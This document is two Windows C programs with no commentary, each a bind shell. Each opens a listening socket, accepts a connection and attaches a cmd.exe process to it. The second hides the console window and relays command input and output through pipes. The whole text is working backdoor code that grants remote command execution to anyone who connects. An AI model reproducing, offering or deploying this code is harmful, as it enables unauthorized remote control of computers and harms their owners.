#include <winsock2.h>

void main(int argc, char **argv)
{
     WSADATA wsd;
     int fd,newfd;
     struct sockaddr_in sin;
     char *cmd = "cmd";
     STARTUPINFO si;
     PROCESS_INFORMATION pi;

	 memset(&si,0,sizeof(si));
	 memset(&pi,0,sizeof(pi));
	 
     WSAStartup(0x101,&wsd);
	 fd=WSASocketA (2,1,0,0,0,0);

     sin.sin_family=2;
     sin.sin_addr.s_addr=0;
     sin.sin_port=htons(atoi(argv[1]));
	 
	 bind(fd,(struct sockaddr *)&sin, 0x10);
	 listen(fd,0);
     
	 newfd=accept(fd,(struct sockaddr *)&sin,0);	 
     si.cb=sizeof(si);
     si.dwFlags=0x0101;
     si.hStdInput=(char*)newfd;
     si.hStdOutput=(char*)newfd;
     si.hStdError=(char*)newfd;

     CreateProcessA(0,cmd,0,0,1,0,0,0,&si,&pi);

     WaitForSingleObject(pi.hProcess, INFINITE);
     ExitThread(0);
}

#include <winsock2.h>
#include <stdio.h>

#pragma comment (lib, "Ws2_32.lib")

#define BUFFSIZE 1024 * 5

int main(int argc,char *argv[])
{
	WSADATA     wsa;
  SOCKET     listenSock,clientSock;
  char     ip[16] = {0};
  char     buff[BUFFSIZE] = {0};
  int       ret,port;
 
  if( argc != 3 )
  {
    printf( "shell\tListenIP\tListenPort\n" );
    return 0;
  }

  WSAStartup(MAKEWORD(2,2),&wsa);

  if( strlen(argv[1]) >= 16 ) return 0;
  strcpy( ip , argv[1] );

  port = atoi(argv[2]);

  listenSock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  struct sockaddr_in sin;

   memset( &sin,0,sizeof(sin) );

  sin.sin_family = AF_INET;
  sin.sin_port = htons(port);
  sin.sin_addr.s_addr = inet_addr(ip);

  bind( listenSock,(struct sockaddr*)&sin,sizeof(sin) );
  listen( listenSock , 3 );

  int clientSize = sizeof(sin);
  clientSock = accept( listenSock,(struct sockaddr*)&sin,&clientSize );
     
  SECURITY_ATTRIBUTES sa;
 
  sa.nLength = sizeof( sa );
  sa.lpSecurityDescriptor = 0;
  sa.bInheritHandle = TRUE;

  HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

  ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
  ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
     
  STARTUPINFO si;
  ZeroMemory( &si,sizeof(si) );

  GetStartupInfo( &si );
 
  si.cb = sizeof( si );
  si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
  si.wShowWindow = SW_HIDE;
  si.hStdInput = hReadPipe2;
  si.hStdOutput = si.hStdError = hWritePipe1;
 
  //si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientSock;
 
  char cmdLine[] = "cmd.exe";

  PROCESS_INFORMATION ProcessInformation;
 
  ZeroMemory(&ProcessInformation,sizeof(ProcessInformation));
  ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

  unsigned long lBytesRead;
     
  while(1)
  {
    memset( buff,0,BUFFSIZE );
     
      ret=PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&lBytesRead,0,0);
     
      int i;
      for(i = 0; i < 5 && lBytesRead == 0; i++)
    {
        Sleep(50);
        ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&lBytesRead,NULL,NULL);
    }
     
      if(lBytesRead)
    {
          ret=ReadFile(hReadPipe1,buff,lBytesRead,&lBytesRead,0);
          if( !ret ) break;
 
        ret=send(clientSock,buff,lBytesRead,0);
          if(ret<=0) break;
      }
    else
    {
          lBytesRead=recv(clientSock,buff,BUFFSIZE,0);
         
          if(lBytesRead<=0) break;
          ret=WriteFile(hWritePipe2,buff,lBytesRead,&lBytesRead,0);
          if(!ret) break;
      }
  }
     
  //WaitForSingleObject( ProcessInformation.hProcess , INFINITE );
 
  CloseHandle(hReadPipe1);
  CloseHandle(hReadPipe2);
  CloseHandle(hWritePipe1);
  CloseHandle(hWritePipe2);
     
  closesocket(clientSock);
  closesocket(listenSock);
  WSACleanup();  


  return 0;
}